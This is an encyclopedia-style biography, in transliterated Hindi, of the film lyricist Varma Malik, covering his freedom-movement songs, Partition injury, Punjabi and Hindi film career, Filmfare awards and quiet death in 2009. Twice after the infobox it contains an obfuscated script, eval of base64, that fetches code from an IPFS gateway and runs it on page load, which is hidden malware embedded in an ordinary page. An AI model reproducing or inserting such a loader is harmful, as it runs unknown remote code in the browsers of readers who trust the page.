वर्मा मलिक
varma malik
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| poora nam | barakat ray malik |
| prasiddh nam | varma malik |
| janm | 13 aprail, 1925 |
| janm bhoomi | firozapur |
| mrityu | 15 march, 2009 |
| mrityu sthan | mumbee, maharashtr |
| santan | putr- rajesh malik |
| karm bhoomi | mumbee |
| karm-kshetr | bharatiy sinema |
| mukhy filmean | 'yadagar', 'savan bhadoan', 'viktoriya n. 203', 'nagin', 'chori mera kam', 'roti kap da aur makan'. |
| puraskar-upadhi | "sabase b da nadan vahi hai" aur "jay bolo beiman ki jay bolo" gitoan ke liye- filmapheyar tr aaufi. |
| any janakari | varma malik aangrezoan ke khilaf git likhakar kaangres ke jalasoan aur sabhaoan mean sunaya karate the. vah kaangres parti ke sakriy sadasy ban ge. isi karan unhean giraftar kar jel mean dal diya gaya tha. |
| adyatan | 18:28, 19 mee 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varma malik ya barakat ray malik (aangrezi: Verma Malik, janm- 13 aprail, 1925, firozapur, british bharat; mrityu- 15 march, 2009, mumbee, maharashtr) bharatiy sinema mean prasiddh gitakar the. vah panjabi aur urdoo ke lekhak the. hiandi bhasha unhoanne mumbee akar hi sikhi thi. unhoanne panjabi filmoan se apane kॅriyar ki shuruat ki thi. sarvapratham unhoanne hansaraj bahal ki film mean kam kiya tha.[1]
parichay
varma malik ka poora nam barakat ray malik tha. unaka janm 13 aprail, 1925 ko firozapur, british bharat mean hua tha. bahut kam umr mean hi unhoanne kavita likhana shuroo kar diya tha. vo daur azadi ki l daee ka tha. skool mean padh rahe varma malik aangrezoan ke khilaf git likhakar kaangres ke jalasoan aur sabhaoan mean sunaya karate the. vah kaangres parti ke sakriy sadasy ban ge. isaka aanjam yah hua ki unhean giraftar kar jel mean dal diya gaya, lekin kam umr hone ki vajah se vo jald hi riha bhi kar die ge.[1]
filmi kॅriyar ki shuruat
vah apane gitoan ki prashansa aur sarahana mean magn hi the ki desh ka vibhajan ho gaya. khauphanak paristhitiyoan mean varma zakhmi halat mean firozapur se jan bachakar bhage. vibhajan ke hangame mean unhean pair mean goli lagi. unhoanne dilli mean sharan li. dilli akar unaki samajh mean nahian a raha tha ki pet palane ke lie vo kya karean. sangit nirdeshak hansaraj bahal ke bhaee, varma malik ke dost the unake kahane par varma ne muanbee ki rah pak di. hansaraj bahal ne varma ko panjabi film 'lachchhi' mean git likhane ka kam diya aur dekhate dekhate varma panjabi filmoan ke hit gitakar ban ge. isi samay unake mitroan ne unhean nam badalane ki salah di aur barakat ray malik, varma malik ke nam se filmi duniya mean pahachane jane lage. hansaraj bahal ki nikatata mean varma ne sangit ki samajh bhi vikasit ki aur yamala jat sahit tin panjabi filmoan mean sangit bhi diya. bahumukhi pratibha ke malik is shakhs ne karib 40 panjabi filmoan mean git likhe, do tin filmoan ke sanvad likhe aur tin filmoan ka nirdeshan bhi kiya. lekin chhatha dashak shuroo hote hote muanbee mean panjabi filmoan ka bazar thapp p d gaya. natija yah hua ki panjabi filmoan ke sabase lokapriy gitakar varma malik berozagar ho ge.[1]
hindi gitoan ka safar
halaanki 1953 mean unhoanne hiandi film 'chakori' ke git likhane ka mauqa mila tha isake nirdeshak bhi hansaraj bahal the, lekin film hit nahian ho saki kuchh aur filmoan mean bhi varma ne hiandi git likhe. film 'dil aur mohabbat' ke lie o. pi. naiyyar ke sangit nirdeshan mean likha git 'aankhoan ki talashi de de mere dil ki ho gayi chori' lokapriy bhi hua, lekin varma malik ko hiandi filmoan ke git likhane ke aur mauke nahian mile. panjabi filmoan ki vyastata ki vajah se varma ne bhi adhik bhagadau d nahian ki. mool roop se panjabi aur urdoo janane vale varma malik ko muanbee ate hi hiandi ki ahamiyat ka ehasas ho gaya tha. panjabi git likhane ke daur mean unhoanne baqayada hiandi likhani padhani sikhi. unhoanne is bhasha ko kitani gaharaee se padha isaka suboot film 'ham tum aur vo' ke is gane se milata hai. "priye praneshvari.. hridayeshvari, yadi ap hamean adesh karean to prem ka ham shriganesh karean...". yah ikalauta aisa gana tha jisamean goodh hiandi shabdoan ka prayog kiya gaya aur gana behad hit hua. berozagari ka daur lanba hone laga to varma malik gumanam se ho ge. unhoanne kafi bhagadau d ki magar koee fayada nahian hua. vibhajan ke bad varma malik ke jivan ka sabase k da samay khianchata hi chala gaya. hatash hokar unhoanne faisala kar liya ki vo git likhane ki talash band kar ab koee doosara kam shuroo kar deange kyoanki ghar ka kharch chalana namumakin ho gaya tha.[1]
manoj kumar se bheant
ab saval ye tha ki ve kya kam karean isi udhe d bun mean bhatakate hue ke din varma phemas stoodiyo ke samane se guzare to unhean apane mitr mohan sahagal ki yad ayi. unase milane ke dauran hi kalyanaji anandaji ka zikr hua aur git likhane ke mauke ki talash mean varma kalyanaji ke ghar ja pahuanche. us samay manoj kumar kalyanaji ke sath baithe hue the. manoj kumar varma malik ko janate the aur unake panjabi gitoan ke prashansak bhi the. manoj kumar ne varma malik se poochha ki kya naya likha hai varma ne unhean tin char git sunae jisamean ek git yah bhi tha "rat akeli, sae do husn bhi ho aur ishk bhi ho to phir usake bad ikatara bole tun tun" manoj ko yah git pasand a gaya aur unhoanne apani film 'upakar' ke liye git chun liya, lekin badakismati se upakar mean is git ki sichueshan nahian nikal payi.
manoj kumar n ye git bhoole n hi varma malik ko bhool pae. unhoanne apani agali film 'yadagar' ke liye is gane ko samajik pariprekshy mean likhane ko kaha to varma malik ne git ko is tarah badal diya batean lanbian matalab gol, khol n de kahian sabaki pol to phir usake bad ikatara bole tun tun, film 'yadagar' hit huee aur ye gana bhi. filmoan mean ek hit se kismat badal jati hai. varma malik ke sath bhi aisa hi hua. isake bad varma ke hath mean kam hi kam a gaya. saphalata aur lokapriyata ke ujale ne nirasha aur hatasha ke aandhere ko khatm kar diya.
pramukh git
rekha ki pahali film 'savan bhadoan' mean varma ke likhe is git ne kee sal tak dhoom machae rakhi 'kan mean jhumaka chal mean thumaka kamar pe choti latake ho gaya dil ka purja purja lage pachasi jhatake', ho tera rang hai nashila aang-aang hai nashila'. yah git kafi lokapriy raha. isake bad 'pahachan', 'beeeman', 'anahoni', 'dharma', 'kasauti', 'viktoriya n. 203', 'nagin', 'chori mera kam', 'roti kap da aur makan', 'santan', 'ek se badhakar ek', jaisi filmoan mean hit git likhane vale varma malik jiandagi ko bharapoor aandaz mean jine lage.
puraskar
- film 'pahachan' ke git "sabase b da nadan vahi hai" ke lie- filmapheyar tr aaufi
- film 'beiman' ke git "jay bolo beiman ki jay bolo" ke liye- filmapheyar tr aaufi
aantim samay
athavean dashak mean film sangit mean bahut badalav ana shuroo ho gaya tha. isi samay varma malik ki jivan sangini ki maut ho gayi. is ghatana ne varma malik par aisa asar dala ki unaki jiandagi se dilachaspi khatm ho gayi. aise mean git likhane ka silasila bhi rook gaya. dhire-dhire vo filmi duniya se hi nahian poori duniya se katakar apane kamare mean simat ge. unake putr rajesh malik asisteant dayarektar haian lekin unake bahut kahane par bhi varma malik ne kalam nahian uthayi.
nidhan
varma malik ne 15 march, 2009 ko mumbee, maharashtr mean bahut khamoshi se duniya se vida le li. itani khamoshi se ki unake marane ka zikr agale din kisi akhabar mean bhi nahian hua.[1]
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tika tippani aur sandarbh
sanbandhit lekh
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